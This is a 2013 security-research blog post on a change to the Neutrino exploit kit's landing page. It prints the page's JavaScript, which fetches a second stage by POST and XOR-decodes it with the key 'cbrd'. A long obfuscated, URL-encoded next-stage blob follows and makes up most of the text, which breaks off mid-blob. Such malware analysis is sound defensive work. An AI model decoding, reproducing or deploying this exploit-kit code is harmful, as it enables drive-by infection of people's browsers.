Tuesday, October 22, 2013

Neutrino landing changed ... again

The Neutrino EK landing page have changed. Yet another POST is now required to get to the exploits of this kit. The change probable happened a few weeks ago. Silently added by @cafeine over at malware.dontneedcoffee.com or at least the usage of plugin detect 0.8.0.

To the new landing. The bulding blocks are pretty much the same:

<html>
<head>
 <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js"></script> 
 <script type="text/javascript">
  $(document).ready(function () {
   var c = decodeURIComponent,
    d = xor;
   $.post("/ieqjymbc", !1, function (b, a) {
    $("b"+"o"+"d"+"y").append(d(c(b), "cbrd"));
    $(document).ready(function () {
     req("5266e0d6aaa2ccb20956a42e", "yiokjkbvhgqvn", "ctvse", "dyioc", "bipjj")
    })
   })
  });

  function xor(eq, d) {
   for (var b = "", a = 0, e = 0, a = 0; a < eq.length; a++) e = Math.floor(a % d.length), b += String.fromCharCode(eq.charCodeAt(a) ^ d.cha
rCodeAt(e));
   return b
  };
 </script>
</head>
<body>


The xor scheme is there the usage of jquery to build the POST request.
So lets just grab the next step:

_%11%11%16%0A%12%06Zi%14%13%16C2%1E%11%04%0B%1C%20%06%16%17%07%17_%09%12%06%10%01%0D%0C%0CHFSLJJS%40%5E%0A%02%0F%17%5EA2%1E%11%04%0B%1C%20%06%16%17%07%17%40%5E%0
B%13%07%1C0%02%05HF_%40%5E%0D%10%26%17%02%0A%0C%17Y%04%07%0A%16%1B%0B%0DJ%13M%18%10%17%10%16%10%1CF%16%0C%16%01%05%0B%1C%01%07%40SY%17%1B%02%01%0C%04R%05%1
EN%1B%17%22%10%05%1AX%14%11%0D%01%06%0D%0C%0CZ%05J%19%01%17%17%0AL%03%16%02%1B%5D%0DM%16%17%17%17J%3D%06%09%07%11%10M%12%0B%17%0D%06%1D%13%07%5C%1
0%0C1%06%16%0A%0C%15J%03%1E%08K%03%5BM%1EN%1B%17%25%17%1C%07Y%04%07%0A%16%1B%0B%0DJ%13M%18%10%17%10%16%10%1CF%05%17%1C%07%17%0B%1D%0AA_O%10%1A%12%17%0B%05B
%13%19O%0B%017%17%10%1B%0A%04X%14%11%0D%01%06%0D%0C%0CZ%05J%19%01%17%17%0AA%11%06%16%0A%0C%15F%5E_%06%1D%13%07%1D%02C%03%0FH%0A%11%3C%11%0EX%14%11%0D%01%06
%0D%0C%0CZ%05J%19%01%17%17%0AA%0C%07%09%01%07F%5E_%06%1D%13%07%1D%02C%03%0FH%0A%11%21%10%11%2C%07%09Y%04%07%0A%16%1B%0B%0DJ%13M%18%10%17%10%16%10%1CF
%10%16%0D%0D%05PY%5E%16%0B%14%06%0D%14D%02DTK%3F%06%5DJ%17%07%01%10K%03%5B%19O%05%17%10-%17%1F6%06%05%0A%5EL9.%3E9.%3FL.%3BOO%2FNLN%01%14%0F%0B%06%2A%16
%0F%20%01%04%1AHK8%3E%5C8%3CN_9L%05%5E%03%06%16%3C%11%0EX%14%11%0D%01%06%0D%0C%0CZ%05O%5B%1F%15%03D_%06%0C%0A%11%5C%0D%101%06%16-%17%1FL%02KML%17%0A%1B%
17M%0B%01%20%06%04%1B%0A%06%06Z%06J%5Dx6%06%057%1C%13J%10MY%16%1A%0D%10L%15%01%17%2C%07%091%07%15%1CJL%17%1C%06%01Z%05JX%1C%11%0F%0EI%16%06%16%07%16%0DB%11%5B
9B9Y%0C%07%08%0F%1F%5E%07%0C%0F%02%05%11%07%3C%11%0E%11H%02%16%0C%11%10%0A%0D%1CL%02N%10HK%09%12%02%10R%5E%12%13%16%10%07%3B%0A%17Y%1B%02K%16%1A%0D%10L%1B%
170%16%2A%16%0FZ%05JDT%10%0B%0B%01J%0A%11%21%10%11%2C%07%09K%5BM%18%0B%14L%17%0A%1B%17M%0B%01%20%06%04%1B%0A%06%06Z%07JDT%07M%01%1D%09%13%03%01-%17%1F%1
7J%10%17%10%16%10%1CDL%11%0B%0E%12%13%16%06%2C%07%09%10J%13H%01KI%05%5E%03%5C%17%13%0E%1B%10K%16%1A%0D%10L%01%14%0F%0B%06%2A%16%0F%20%01%04%1A%5B_%01_%10J%10%
12%1E%0D%17J%06%0C%0A%11%5C%17%13%0E%1B%10-%17%1F6%06%05%0AMX%04%1D%16K%01OTX%01N%29%02%16%1AJ%0E%0B%1CL%02L%1E%01%0D%05%06%0CO%5C%08%06%0C%15%10%0BKI%07HI%5B
%1F%0A%04ZK%03%29%07%3ENCTJ%5C%16L%019%119OSBMJ%10%17%10%16%10%1CDRY%1B%02K%06Z%058%01%2FHRR%5BX%07J%10%3F%3F%5EUSK%5B%16%06%16%07%16%0DOC%19%1E%10%17%10%1
6%10%1CDS%1F%5E%02%0C%10%1F%05%17%2C%07%09Y%04%07%0A%16%1B%0B%0DJ%13H%01K%09%12%02%10R%07O%06I%0D%05JS%10%0B%0B%01J%0A%11%21%10%11%2C%07%09K%03%5BM%11%07%06%1
1%11%0CR%0A%16%0E%1E_%17%0A%1B%17M%0B%01%2A%16%0FZ%06J%1E%0EL%01_FMX_IX%06O%05M%10%17%14%0F%03%11%01KM.%17L%05%5EFAK%5C%17%13%0E%1B%10K%16%1A%0D%10L%01%14%0F%
0B%06%2A%16%0F%20%01%04%1A%5BJ%0D%1C%07%02%16Z%3FARPHi%40BFO%40BFO%40BF%3EKI%02%0C%10Z%07%5ERIP%5D%01I%07HI%5B%0D%05J%5D%3AKRYMKLYMGM%5C%10%06%11%06L%079%119J
DTL%079%119%5E0%17%03%26%1A%02JGP%5BH%5C%10%18%1FC%5D8%07M%5C%10%06%11%06L%079%119JK%16%3F%3FOFS%40I%16%06%16%07%16%0DB%16J%10%0E%1B%07%06JBHWK%5C%0E%0C%0B
%1CLANPM%1ENV%40%0B%03%01%29%0A%0F%170%1A%12%17%5E%05%17%1C%07%17%0B%1D%0AK%03%5B%1F%11%07%06%11%11%0CR%02%16%0C%11%10%0A%0D%1CL%01K%09%0D%05JS%05M%0B%01-%26DT%0
6J%19%04%05%11B%11H%07N%17Y%02L%1B%17%22%10%05%1AJ%10M%5CH%05M%0B%017%17%10%1B%0A%04J%10M%5C9%109Y9%2F_%05%0DL%07_B_%07%5E%17J%0F%07%1C%03%17%0AIHI%5
B%0D%05J%13J%0A%11%21%10%11%0B%1C%03K%07%29%3EKTBL9%2C8%10%3F%5DJ%17%07%01%10K%07%29%3EKTBK%01OL%01_%1C%05%15%0B%15%05%17%0DJ%0E%0B%1F%017%1B%02%01%109%
17%3F%07%3F%2FM%5C%5C%01%0D%03%10%08%06%06%22%08%16%05%1B%0AYR%5BBEJ%11J%0D%03%1F%01%1F%1E%11J%07%07%01%07%11%0B%02%10%0A%0D%1CMJ%10%17%10%16%10%1CD%01%1F%
01%17%17%0AC%0C%07%08%0F%1F%0FH%04%07%0641-%22%5E%05%17%1C%07%17%0B%1D%0AK%03%5E%06O%01%5B%1F%17%10%0B%1F%02DTL_%13%3F%01%3F%5B%19%03%06%07%0BJ%16M%18%1
F%01%17%17%0AC%01%0FH%0A%117%0A%02%1E%01%07X%09%40YS%5E-%262%1E%11%04%0B%1C7%06%01%07%16%0A%16%0B4%0C%12%07%14Y%04%07%0A%16%1B%0B%0DJ%5B%1F%15%03D
%02_x%10%0B%0B%01JGY%01%17%17%0AC%03%5C%0D%10%2B7BEUNY%02L%04%01%11%2B7%5BRXB%19O%0D%10%0E%06%01%064%11%0D%02%01%11%16%0B%5E%05%17%1C%07%17%0B%1D%0AK%03%5B
%1F%15%03D%01_%06%0C%0A%11%5C%40O%01OTX%5C%0D%10%2B7BEUNY%01L%04%01%11%2B7BEJ%13Y%01L%15%01%172%20%2B3J%13HA%0D%10%0E%06%01%06FJN%10J%0A%116%01%05%0B%1C%01
%07J%13MEDZ%07%5E%03MUYOCMJY%01%17%17%0AC%01%0F%19O%04%1B%0A%07%2C%13%123%0E%07%03%0A%0CH%02%16%0C%11%10%0A%0D%1CL%02N%10HK%09%05%5E0%17%03%26%1A%02L%02
NP%0DAKI%06%5EC%06%0C%0A%11%5C%0D%10%26%17%02%0A%0C%17K%5B%18%1FMK%3F%06%5D%5ESY%11Y%5D%20%01%04%27%0A%14K%01%5EF%0A%40%5B%5ESY%04%05%11B%16Y%0D%03%0
4%0D%04%03%06%0B%11L%02%08%16%05%1B%0A%10N%17H%05N%15_%05%0DL%06_B_%06%5E%16J%0F%07%1C%03%17%0AI%01HI%5B%0D%05J%15Y%079%179M%06%17%17%10%1B%14%17%0B%1D%0A%
1F%1EPFO%04O8%07%2FJ%0D%03%1F%01%1F%1EPFO%03%5C%10%06%11%06L%04KTBKC%10%18%1F%5C%10%06%11%06L1%07%15%21%1B%12%5C%08%06%04%06%27%0C%0C%06%01%1B%16Y6%06%057%
1C%13L%0D%04%0A%06%27%0C%0C%06%01%1B%16%5BM%1F%1E%13J%17%07%01%10K%04%5BBEJS%06%1F%1E%10J%17%07%01%10K0%17%03%26%1A%02J%0F%07%14%10%20%0D%1C%10%06%1A%06O1%07%
15%21%1B%12%5C%16%0A%05%1A%10%20%0D%1C%10%06%1A%06MJK%1B%02KC%11%18%1FC%11J%17%07%01%10K%05%5BBEhS%07M%16%17%17%17J%14MJ%10%17%10%16%10%1CD%079%179X%10%17%10%16%
10%1CD%0D%17%1E%08%1EN%15%01%17%2F%1B%09%06%27%1C%05%01%0E%173%0E%07%03%0A%0CH%02%16%0C%11%10%0A%0D%1CL%02N%10HK%09%12%02%10RXO6%06%057%1C%13J%10HA%0
BPMX%01O%07%5C0%17%03%26%1A%02LNP%0DAKHTX%14%13%16C%07%5E%02O%05O%10%0B%0B%01J%0A%11%21%10%11%0B%1C%03K%03%5B%5B8%03%2F%5E%02Y%14%0B%11J%14YSY%14X%04L%1E%01%0
D%05%06%0CX%04YOJ%0B%14LK%06O%10%0B%0B%01J%0B%03%01%29%0A%0F%170%1A%12%17L%049%149JKTBK%06OM%07%1C%05%01%0E%173%0E%07%03%0A%0C%5BM%0A%04Z%01%5E%06%5C%06
%11%11%16%0A%12%06%0D%0C%0C%0E%18A%40%5E%05%5E%06%5C%0A%02%0F%17%18%1F%40PH%01L%06%01%10%16Z%01J%1E%0E%06M%16%17%17%17J%13MJ%0B%14LB%01%0E%18B%01%5C%10%06%11%06L
%06KTBB%01%5C%10%06%11%06L%02K%5B%16%06%16%07%16%0DB%16_%11%07%06%11%11%0CRT%1EN%1B%0A%0A%16H%02%16%0C%11%10%0A%0D%1CL%02K%09%12%02%10R%06O%01O%1F%10%16%13%10%16
%11HIPN%02%08%16%05%1B%0AYR%0F_%0A%04ZE%17%0A%1B%17M%0B%017%17%10%1B%0A%04J%13MJ%10%17%10%16%10%1CDY%1B%02KSOY%02L%1E%01%0D%05%06%0CJ%10%17%10%16%10%1CD%17%0A
%1B%17M%05%17%105%07%17%0A%0D%1C%20%06%0E%1B%09%0A%16%17%16%5E%03%5E%07X%03O%05M%16%1D%28%0C%15%17%16%20%03%01%01KK%5C%16%06%12%1E%05%07ZK%3F%11%5D%03O%40P
MXO%10%0B%0B%01J3%0E%07%03%0A%0C%01%3F%02%3FIn%0A%04ZE%01%1E%0EE%01L%15%01%174%17%16%10%0B%1D%0AJ%10%17%10%16%10%1CDY%11J%13%0E%07%03%0A%0CO%06X%16%1A%0D%1
0L%1B%17%27%07%14%0D%0D%07%16L%01L%1B%0A%10%16%13%08%0F%07%16M%1F%1EZ%06M%0B%1C%17%17%03%1E%08%06%06O%0A%16%0E%1EH%01L%04%01%11%11%1B%0B%0D_%1C%11%0F%0E%5E%06M%1
4%17%16%10%0B%1D%0AS_%1C%11%0F%0E%5E%06M%05%17%105%07%17%0A%0D%1C%20%0C%0C%17Y%0D%17%1E%08O%5C%14%0F%17%15%0D%0D%2C%13%09%06_%13MX%0B%14L%17%0A%1B%17M%0B%0
1-%26DTE%17%0A%1B%17M%23%11%10%0A%14%17%3C%26%0C%13%06%0F%07%16BE%40%18%05%15%03PE%5E_%13M%11%07%06%11%11%0CR%07M%11%06%05%17%17%01YNP%5E%07X%01%5C%17%17%03%06%1
1%10_C_%11%07%06%11%11%0CR%07%1EN%15%01%172%1E%11%04%0B%1C%22%0A%0E%172%06%10%01%0D%0C%0CH%02%16%0C%11%10%0A%0D%1CL%02N%10M%18%14%13%16C%01%5EO%07%5E%02O%05OI
RY%1B%02KPN%10%0B%0B%01J%2C1%0E%18B%03%0E%18B%03%5C%12%06%10%01%0D%0C%0C%0E%18BJ%11Y%17%0A%1B%17M%05%17%10-%17%1FL%02L%04%01%11%11%1B%0B%0DK%5BM%11%07%06%11%11%0
CR%06X%0B%14LB%5B%16%06%16%07%16%0DB%11__%06%0C%0A%11%5C%02%0C%10%1F%05%17%2C%07%09K%01%5B_%01_%06%0C%0A%11%5C%02%0C%10%1F%05%17%2C%07%09K%5B_%07_%10J%1
0%12%1E%0D%17J%06%0C%0A%11%5C%17%13%0E%1B%10-%17%1F6%06%05%0AMX%07O%07M%11%02%08%0A%16Z%10%0B%0B%01J%10%12%1E%0D%17%2C%07%091%07%15%1CJY%14%0B%11J%14YSY%14X%07L%
1E%01%0D%05%06%0CX%04YOJ%0B%14LNSNn%04DT%02%5D%05TBARPE%5E%06%29%02%3E%1E%0E%018%04%2FE%5E%06%29%02%3EDTLNSOY%04DTL%04_%14MO%40BFB_%16%3F%05%3F%5BM%11%07%06%11%1
1%0CR%06X%10%17%10%16%10%1CD%1F%5E%25%3B-H%13%0A%0C%16%0B%14L3%07%17%0B%04%01%3B-%10%0E%06%01%06H%04%07%06%25%3B-H%02%16%0C%11%10%0A%0D%1CL%02K%09%12%02%10R%0
6%5E%0C%07%08%0FY%06%16%1A%19%10Y%0D%07%05D%17%0A%1B%17M%23%2A%2BK%03%5B%19%03%06%07%0BJ%11M%18%1F%01%17%17%0AC%0FH%0D%1C%12%06%10%06%22%16%0C%11%
17Y%04%07%0A%16%1B%0B%0DJ%13M%18%14%13%16C%5E%07O%06OK%3D9.%40%3E9.%40%3EMI%02%0C%10Z%06C%0B%1CD%02K%1B%02K%06%5C%10%06%11%06L%01K%5B%10%11%1B%09%07%5E%
5C%17%0F%0B%11%01KP%5BHS%5E%11J%0F%07%1C%03%17%0ATBB%03%29%07%3EDTL%029%119%5E%03%29%06%3EJ%13MO%06%17%08%06%16%17D%029%109J%1F%11%05%17%01%1AL%06K%09%19%1EN%1B%
0A%0A%16%3D%06%09X%14%11%0D%01%06%0D%0C%0CZ%05O%5E%07J%19%04%05%11B%16_%0A%04Z%05J%19%1B%02KSOY%029%10%3FS%3F%2F%18%1F%01%5B%02%0C%10Z%5ERI_%5C%08%06
%0C%15%10%0BY%16O%5EP%5B%058%29%3E%3FO%068%06YU%3EY%14%0B%11J%16D%0A%0CR%05JJ%11Y%029%169JDTU%5E_%11%3F%019B9%3EDT%10%0B%0B%01J%0A%0C%1B%10%2C%18LN%1
0M%1E%1F%5E%0D%0D%0B%067%10%1B%14%17X%14%11%0D%01%06%0D%0C%0CZM%18%14%13%16C%03O%0A%02%14%1B%03%02%16%1D%16Oh%10H_%16%0B%17%1F%01%0D%16%5E%5E%03%5C%1
1%10%07%25%04%07%1C%10%1F%1EPFO%07O%05M%14%17%0A%07%0D%18%1F%40PH%05_%13J%13%0E%13%10%05%0D%09%1F%1EPFO%03O%05M%12%0B%07%17%11%10%1F%1EPFX%16%1A%0D%1
0L%1B%0A%0A%16%3D%06%09J%06%0C%0A%11%5E%3FAFPH%17%0A%1B%17%3EKI%02%0C%10Z%06C%0B%1CD%17%0A%1B%17M2%1E%11%04%0B%1C%17J%16%1A%0D%10L%22%08%16%05%1B%0A%109%109ED%06
%0C%0A%11%5C%0D%0D%0B%06%2B%01%08Z%10%0B%0B%01J3%0E%07%03%0A%0C%01%3F%01%3F%5E%3FAFPH%17%0A%1B%17O%40V%40AN%06%0C%0A%11%5C4%0F%17%15%0D%0D%11%29%06%3E%3F%5EUJY%0
6%0C%0A%11%5C%07%0C%0C%04%01%11%164%11%0D%01%01L%17%0A%1B%17JY%06%0C%0A%11%5C%2B0_CTSY%1B%02K%04%5B%1F%15%03D%04_%29F4%0B%1CFOS%5EF.%03%11FOP%5EF%2F%0B%1C%11%
1B%40%5EWO%404%16%06%0707%27%40%5EPO%40%1B4%0B%0D%1C%01AN%40UMS%5EF%0A2%1DAN%40UMP%5EF%0A2%13AN%40UMQ%5EF4%0B%1CJI%217FOP%40JRNP3%0A%0C%5CN.%0D%10%0D%0F%07
PHQP%5CVO%40%22%0B%09%17%10%3F%3E%01N3%21PHQP%5CWO%40PHRRB9X%04%1D%16KO%03M%0E%17%0A%04%16%1AIQYBX%5EI%06N_%40M%0A%04Z%038%2FBE0%17%03%26%1A%02L%049%
109O%40%1BFJL%06%01%10%16Z%02JK%09%10%0B%0B%01J%2C1O%038YU%3EY%10%16%06%03%19%19%1E%16%1A%0D%10L%1A%01%02%06O%07M%05%17%10%26%0E%17%09%06%0C%06%17%21%1B%26%05
%04%2C%13%09%06JP%0C%06%03%16FJ9B9%1F%1Ex%07M%05%17%10%26%0E%17%09%06%0C%06%17%21%1B%26%05%04%2C%13%09%06JP%06%0C%06%0BFJ9B9%1F%1E%11J%01%0D%16%1D%1F%1E%1C%11%0F
%0EI%10%0B%0B%01J%15%07-%26_Z%10%0B%0B%01J%0A%11%3B%21%5E%07%04%05%0FJPKI%22%11%07%3C%0D%1CE%23H%5DER%40%5BM%5CM%3F7%2A%27.%17IJ.H%3E%5C%5B%3F%06XML%0B%5C%
10%06%11%06L%07KM%14%02%10%01%01%25%0E%1D%05%17J%20%01%04%27%0A%14MFCHRR%5B%5ETX%1C%11%0F%0EI%10%0B%0B%01J%07%0D%11%29%0C%06%17-%26_%06%0C%0A%11%5C%12%06%10%3B%2
1%05%17%1E%08%5E%0C%07%08%0FY%1B%02K%16%1A%0D%10L%1B%17%2A%27%5B%1F%01_%16%0B%17%1F%01%0D%16%5C%07%11%07%13%10%06%27%1E%01%0E%07%1C%10K%40%16%0D%15%40%5B_%17%
10%0B%1F%01L%01%10%1A%0E%17J%01%07%1A%05%15%0B%1D%16%5E%40%07%16%0FJQ%06%04%13%11%0F%16Q%07%0F%0B%17%0A%17%01%13%14%10KPH%17%0A%1B%17M%14%17%16%2A%27%14%11%0F
%0EO%06M%05%17%10%20%0D%1F%14%0C%0C%17%0A%174%17%16%10%0B%1D%0AK%40%09%5CZZ%40TQRBI%26%210%20NSC%27%25OJ%26%5BW_TS%233TSW0PPZA%19ANP%07%0C%0F%02%0B%0D%07%1C%10%0
A%06PMM%10%17%14%0F%03%11%01KM%5EK%04NPJAK%0F%07%02%16%11%0CK%0A%5B%1F%1EO%14%02%10%01%01%25%0E%1D%05%17J%06%0C%0A%11%5C%12%06%10%3B%21%05%17%1E%08%1F%1EPTANC
TJY%06%0C%0A%11%5C%0C%01%3F%0B%07%07%3B%21%5E%01%5C%0C%01%07%09%06%0C%06%29%0C%06%17%18%1FJ%5D%06%02%01%19K%0AL%06%01%10%16Z%07M%01%1D%09%13%03%06%29%0C%06
%17%18%1FhPFJ%5DG%5E%01K%0E%18%17%0A%1B%17M%14%17%16%2A%27I%10%0B%0B%01J%15%07-%26_%10%18%1F%16%1A%0D%10L%16%0B%2F%1D%06%2B7%19%17%0A%1B%17M%23%11%10%0A
%14%17%3C%26%0C%13%06%0F%07%16YBSI%0D%05J%06%0C%0A%11%5C%0D%10%2B7M%18%01OF.%11%0A%09%0FP%5C%3C..%3A072R%29%10%1A%1F%08QL6%2B.%26%1D%07%16%0F%17%0A%17B%3F%0D%
10%1D%17%0C%04%06J%3B%2F%3E%20%2C%2FR7%0B%0D%11%0F%14%03%04%01%25%0E%13%17%0BL%21%0C%0C%01%19%13%02%14%17%22%0F%03%01%0CC66%27%20%16%1EJ7%261%27%17%0ER7%0B%07%1E
%08M7%3B%2C%06%0E%02%01%11B%21%07%11%0B%02%10%0A%0C%15J%27%0B%11%10%0A%0D%1C%05%11%1BR%13%0E%12%1E%05%1A%07J%0C%01%0AFM%11%02%08%0A%16ZFC%40%5B_%05%0DL%01_
B_%01%5E%11J%0F%07%1C%03%17%0AI%06HI%5B%0D%05J%06%0C%0A%11%5C%03%06%163%3C%2CJ%11%3F%01%3F%5BM%18%16%1A%0D%10L3%07%17%0B%04%01%3B%27%1C%05%01%0E%17%5ECB_%01%1
0%17%05%08%1F%16YA%40%0F%10%0B%0B%01J%15%07%23%06%01%19%0B%5EJ%06%0C%0A%11%5C%0D%10%25%17%07%08%0DOK%24%07%11%0F%0CM%1BJ%17%07%01%10K%03%5BBEM5%01%09%1D8%1
0H.K%3F%11X8%07M%1BJ%17%07%01%10K%06%5BM%5C%16%1A%0D%10L%14%0B%11%0F%13%10-%17%1FLL%10%048%10H.%5E%3F%11XL8%3E%5C8O%3E%169HK%5D%0DM%16%17%17%17J%16M%5C0%17%03%26
%1A%02JGSHFSLKFJX%1C%11%0F%0EI%10%0B%0B%01J%15%07%27%0B%10%1D%09%06_Z%10%0B%0B%01J%0A%111%0C%11%0D%1F%01%5EM1%0C%11%0D%1F%01%3F%11X8L%3E%01NK%3E%16%3F%3F%06.J
%3EH%5BK%0AL%06%01%10%16ZJKMn%17%0A%1B%17M%04%1D%16%0E%03%06%2A%16%0FZ6%06%057%1C%13LVUJX%1C%11%0F%0EI%10%0B%0B%01J%15%077%02%04%13%16%0A_Z%10%0B%0B%01J%0A
%11%21%05%05%03%0D%5EJ%5D%25%13%12%1E%01L%0B%5C%10%06%11%06L%06K%0E%18B%07TBB%16%1A%0D%10L%1B%17%20%0A%0B%0E%07%5BBEM%21%05%05%03%0D%3F%11X8L%3E%01NK%3E
%16%3F%3F%06.J%3EH%5BK%0AL%06%01%10%16ZJKTBL4%17%16%10%0B%1D%0A%3F%11X8L%3E%01NK%3E%16%3F%3F%06.J%3EH%5BK%0AL%06%01%10%16ZJ%5D%06%0C%0A%11%5C%02%0C%10%1F%0
5%17%2C%07%09K0%17%03%26%1A%02JGS%5B%5E%0D%17%1E%08X%16%1A%0D%10L%04%01%11-%02%01%11%03OL%17%0A%1B%17M%0B%01%2B%13%07%05%5EM%3D%14%06%10%138%10H%298L%3FM8%10H
Z8%07I.J%5C%3E%16NJM%1BJ%17%07%01%10K%06%5BMEDZK5%07%17%0A%0D%1C8%10H.K%3F%11XL%3F%06Y8M%5D.IK%5D%0DM%16%17%17%17J%16M%1F%1ECM%5C%12%13%16%10%074%08%0C%03%
06L1%07%15%21%1B%12%5C%40RNCTJX%1C%11%0F%0EI%10%0B%0B%01J%02%06%163%0A%0C7%12%06%0C%06LA%0E%1D%05%07%40%5E%10%0B%0B%01J%0B%03%1C%0F%07L%17%0A%1B%17M%10%07%
0A4.%14%11%0D%01%01H%17%0A%1B%17JK%0FH%0B%03%1C%0F%07%5E%05%17%1C%07%17%0B%1D%0AK%03%5E%06O%01%5B%1F%11%07%06%11%11%0CR%02%16%0C%11%10%0A%0D%1CLJ%19%13L%01
N%11M%1E%1F%5E%023%17%01%0CY%04%07%0A%16%1B%0B%0DJ%13H%01K%09%10%0B%0B%01J%0A%113%16%11%03%0BL%01KTBK%16%1A%0D%10L%1B%17%25%17%1C%07K%03%5B%18%1Fh%06%0C%0A%11
%5C%0D%10%23%16%02%1BZ%05JDTT_%03%5C%08%06%0C%15%10%0BDT%10%0B%0B%01J%0A%114%11%0D%01Z%058R%2FMJDT%06M%12%07%17%0BJ%13M%1EN%11%05%0F%0E3%16%11%03%0B%5E%05%17%
1C%07%17%0B%1D%0AK%03%5B%1F%15%03D%01N%11_%0A%04Z%10%0B%0B%01J%0A%113%16%11%03%0BL%02K%5B%1F_%299M%01%1D%0A%03%06L%02KI%02%0C%10Z%06%5ERI%06_%01%5C%08%0
6%0C%15%10%0BY%10OHK%06%0C%0A%11%5C%07%02%0E%1EL9%109JN%13J%10%12%1E%0D%07ZTOS%5B%19%1EN%11%05%0F%0EH%02%16%0C%11%10%0A%0D%1CL%02K%09%12%02%10R%06%5E%16%1A
%0D%10L%1B%17%22%10%05%1AJ%13M%5C%03%5C%08%06%0C%15%10%0BX_UX%0B%14LS%5E%10BE%16%1A%0D%10L%1B%17%25%17%1C%07K%03%29T%3EK%5B%058R%2FL%17%0A%1B%17OSN%06%5C%03%2
9U%3EXBHQ%5E%10%5B%029%409YR%5EW_M%058Q%2F%5ESKI%01%0F%11%17D%17%0A%1B%17M%0B%01%22%16%0C%11L%02KTB%02J%06%0C%0A%11%5B%19OFV%0D%10%2F%1B%0A5%07%17%0A%0D%1C
%5E%05%17%1C%07%17%0B%1D%0AK%03%5B%1F%11%07%06%11%11%0CR%02%16%0C%11%10%0A%0D%1CL%01N%11H%07N%17M%18%14%13%16C%04O%05M%0B%1C%0D%17J%10MXOIRY%1B%02KRL%02M%11%0
6%05%17%17%01M%11%07%06%11%11%0CR%02M%11%06%05%17%17%01_%05_%14J%13%0E%07%03%0A%0CI%07%5E%03%5C%02%0C%10%1F%05%17%2C%07%09K%03%5C%0D%10%2C%07%09K%01%5B%5BL%06
%0B0%16%0D%0D%05ZMY%03%5C%0D%101%06%16-%17%1FLKM%05M%05%17%10-%17%1FLKHnARPMXSSY%05L%15%01%174%17%16%10%0B%1D%0A%27%0D%1C%01EDZ%02M%05%17%105%07%17%0
A%0D%1CLN%16H%06K%5E%0A%16%0E%1EY%5E_%14J%04%07%062%06%10%01%0D%0C%0C6%0B%0D%07TBK%04%5C%03%06%16%24%01%11%11%1B%0B%0D%26%1D%0A%06_CMJY%1C%11%0F%0ESY%5E%04%5C
%0D%0D%11%06%05%0F%0E%17EDZ%06%5ER%5CQ%5D_%14J%0A%0C%01%10%02%0E%1E%01%07%5D%14J%0A%0C%01%10%02%0E%1E%01%07XBJT_O%02M%0B%1C%17%17%03%1E%08%06%06MUY%0C%07%08%0
F_OY%05L%04%01%11%11%1B%0B%0D%5DB%5ES%5EO%05M%01%1D%09%13%03%01-%17%1F%17K%04%5C%12%06%10%01%0D%0C%0C%5E%07O%04%5B%5BRX_TMS%5B_%11%07%06%11%11%0CR%06%1E%1F%5E
%03%06%16%24%01%11%11%1B%0B%0D%26%17%08%0A%0F%1B%10%06%10HFO%40%5E%40G%05%17%105%07%17%0A%0D%1C%5E%05%17%1C%07%17%0B%1D%0AK%03%5B%1F%11%07%06%11%11%0CR%02%16%
0C%11%10%0A%0D%1CL%01N%11H%07K%09%06%5E%03%5C%0D%0D%0B%06L%01KI%0D%05JBZ%01L%01%10%02%16%07%17J%10%17%10%16%10%1CD%0D%17%1E%08XO%06M%12%1E%11%04%0B%1C_RCO%06M
%05%17%105%07%17%0A%0D%1C%20%0C%0C%17BEJ%10J%04%07%062%06%10%01%0D%0C%0CZ%0A%16%0E%1EHN%16MO%0C%07%08%0F_OY%01L%15%01%174%17%16%10%0B%1D%0A%27%0D%1C%01EDZ%
06M%05%17%105%07%17%0A%0D%1C%20%0C%0C%17YRK%5B_%11%07%06%11%11%0CR%07%5EJ%11Y%01L%04%01%11%11%1B%0B%0D%1E%0E%06M%14%17%16%10%0B%1D%0ASKM%07M%10%17%14%0F%03%11
%01K%03%5C%17%13%0E%1B%10-%17%1F6%06%05%0AHi%03%5C%03%06%16%24%01%11%11%1B%0B%0D%26%17%08%0A%0F%1B%10%06%10%5B%5E%1F%0FHGF%15%01%17%2B%1C%02%0CX%14%11%0D%01%0
6%0D%0C%0CZ%05J%19%01%17%17%0AC%04%07%0A%16%1B%0B%0DJ%10HN%16M%18%14%13%16C%07O%1F%1EN%14Y%02L%1B%0A%0A%16Z%06JY%1B%02KRL%02M%11%06%05%17%17%01M%11%0
7%06%11%11%0CR%01X%04O%02M%12%1E%11%04%0B%1C_%05L%15%01%17%2B%1C%02%0CDTL%0D%17%1E%08%5E_O%02M%05%17%105%07%17%0A%0D%1C%20%0C%0C%17BEJ%13J%04%07%062%06%10%01%
0D%0C%0CM%05M%05%17%105%07%17%0A%0D%1CL%01N%11H%07KH%05M%0B%01%29%0A%0C%24%01%11%11%1B%0B%0DJ%10HARPHN%16MJN%17Y%05L%15%01%17%2B%1C%02%0CJ%5BMX%10%17%10%16
%10%1CD%06%1F%0FH%0D%16%01%01%03%01%01Y%19V%5ERN%1B%17%27%0B%01%05%01%0E%17Y%04%07%0A%16%1B%0B%0DJ%5B%1F%15%03D%02_%06%0C%0A%11%5C%40X%10%17%10%16%10
%1CD%02L3%07%17%0B%04%01%3B%27%1C%05%01%0E%17ED%13J%0A%11%3B%21EDEX%5E%03%5C%12%06%10%3B%21%5CRHU%1EN%11%0C%06%01%19%23%02%10%10%05%04%07H%02%16%0C%11%10%0A%0
D%1CL%02K%09%12%02%10R%06%5E%16%1A%0D%10LV_%11%07%06%11%11%0CR%06M%0B%01-%26DTL%02DTT_%5C%0D%10%27%1C%05%01%0E%17M%0D%10%0E%06%01%064%11%0D%02%01%11%16%0BL
%02L%14%0D%11%11%06%27%0B%0B%1EJKTBK%03O%06M%05%17%1030%3D4K%03%5C%02%0A%10%01%10%20%0A%1B%08%07NP%16%06%03%16%1D0%16%13%10%06%40%5BH%01L%1B%17-%17%1FL%02KTBi
VSY%02KM%10%0B%0B%01J%04%03%06%02%05%17YRXB%19O%07%1F%14%17%1B5%05%11%13%03%06X%14%11%0D%01%06%0D%0C%0CZM%18%0B%14L%17%0A%1B%17MF%5C%0D%10%2B7BE%16%1A%0D%1
0L%15%05%11%13%03%06K%09%10%11%1B%09%13%0A%0C%16%0B%14L1%0B%0F%0E%17%07%17%25%13%16%01%03%15%01KK%0F%07%02%16%11%0CK%03%5B%1F%1E%16%1A%0D%10L%15%05%11%13%0
3%06_B%19%1EN%1B%0A%0A%16H%02%16%0C%11%10%0A%0D%1CL%02K%09%0D%05JS%05M%0B%1C%0D%17K%09%12%02%10R%06%5E%16%1A%0D%10LVHY%13J%0A%0C%1B%10%5ESI%05M%0F%1B%0A%5ERI%
